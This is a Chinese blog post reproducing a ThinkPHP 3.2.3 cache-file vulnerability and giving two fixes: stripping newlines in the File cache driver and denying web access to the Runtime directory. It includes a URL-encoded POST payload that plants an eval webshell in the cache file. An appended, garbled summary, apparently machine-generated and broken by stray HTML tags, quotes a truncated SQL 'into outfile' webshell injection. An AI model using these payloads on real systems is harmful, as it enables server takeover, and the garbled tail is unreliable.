ThinkPhp3.2.3缓存漏洞复现以及修复建议

小编作为一个php(拍黄片)的程序员,今天早上无意间看到thinkphp的缓存漏洞,小编在实际开发过程中用thinkphp3.2.3挺多的。

漏洞原文链接:https://xianzhi.aliyun.com/forum/read/1973.html有兴趣的小伙伴可以去详细的学习一下 我们这里来复现一下漏洞 后面我会提出修复建议

QQ截图20170811125900.jpg

首先我们下载最新的thinkphp3.2.3的框架  搭建好

QQ截图20170811130029.jpg

按照phpoop牛的审计  我们来写代码

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {

    public function index(){
        $a=I('post.a3');
        S('name',$a);
    }
}

然后我们来post一段代码

a3=%0A%24a%3deval(%24_POST%5b%27a3%27%5d)%3b%2f%2f

QQ截图20170811131500.jpg

QQ截图20170811131527.jpg

我们可以看到缓存文件已经出现了

至于这个缓存名称

就是

S('name',$a);

中的name的md5

QQ截图20170811134359.jpg

我们来连接这个一句话

我们可以看到

这个漏洞是可以利用的但是这个漏洞比较鸡肋

我们在开发的过程种s缓存一般不会用作接收参数的缓存(me就是 接收过来的参数只查询并不进行其他操作)

thinkphp官方手册当中http://document.thinkphp.cn/manual_3_2.html#input_var

详细的讲解了I函数

我们在实际应用的过程当中有详细的解释  比如我们要接收id的时候 id是整数

那么就可以写成I('post.id/d')这样强制转换为整数

QQ截图20170811135547.jpg

实际应用种很少有把接受过来的参数直接缓存起来

修复方案也很简单

  1. phpoop牛的方法

    打开文件:thinkphp\library\think\cache\driver\File.php

    public function set($name, $value, $expire = null) 方法

    添加:$data = str_replace(PHP_EOL, '', $data);  

     

    /**
     * 写入缓存
     * @access public
     * @param string $name 缓存变量名
     * @param mixed $value  存储数据
     * @param int $expire  有效时间 0为永久
     * @return boolean
     */
    public function set($name,$value,$expire=null) {
        N('cache_write',1);
        if(is_null($expire)) {
            $expire =  $this->options['expire'];
        }
        $filename   =   $this->filename($name);
        $data   =   serialize($value);
        $data = str_replace(PHP_EOL, '', $data); //新增这句代码     修复代码在这里/***********************/
        if( C('DATA_CACHE_COMPRESS') && function_exists('gzcompress')) {
            //数据压缩
            $data   =   gzcompress($data,3);
        }
        if(C('DATA_CACHE_CHECK')) {//开启数据校验
            $check  =  md5($data);
        }else {
            $check  =  '';
        }
        $data    = "<?php\n//".sprintf('%012d',$expire).$check.$data."\n?>";
        $result  =   file_put_contents($filename,$data);
        if($result) {
            if($this->options['length']>0) {
                // 记录缓存队列
                $this->queue($name);
            }
            clearstatcache();
            return true;
        }else {
            return false;
        }
    }

2.在Application\Runtime目录中创建文件.htaccess

<IfModule mod_rewrite.c>
deny from all
</IfModule>

QQ截图20170811140339.jpg

 

QQ截图20170811140421.jpg

根据引用中提供的信息,ThinkPHP3.2.x存在一个RCE(远程代码执行)漏洞。根据引用中的描述,我们可以通过控制`$this->img`变量来找到`destroy()`函数。在`ThinkPHP/Library/Think/Session/Driver/Memcache.class.php`文件中的`Memcache`类的`destroy()`函数中可以找到这个函数。请注意,如果使用PHP7,在调用有参函数但没有传入参数的情况下会报错,因此应该使用PHP5而不是PHP7。具体的漏洞利用方法是,在URL中注入`?id=1*/ into outfile "path/1.php" LINES STARTING BY '<?php eval($_POST<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [wp 篇 DASCTF Thinkphp 3.2.3RCE复现](https://blog.csdn.net/weixin_46203060/article/details/119532553)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [【安全漏洞ThinkPHP 3.2.3 漏洞复现](https://blog.csdn.net/2201_75857869/article/details/129316463)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值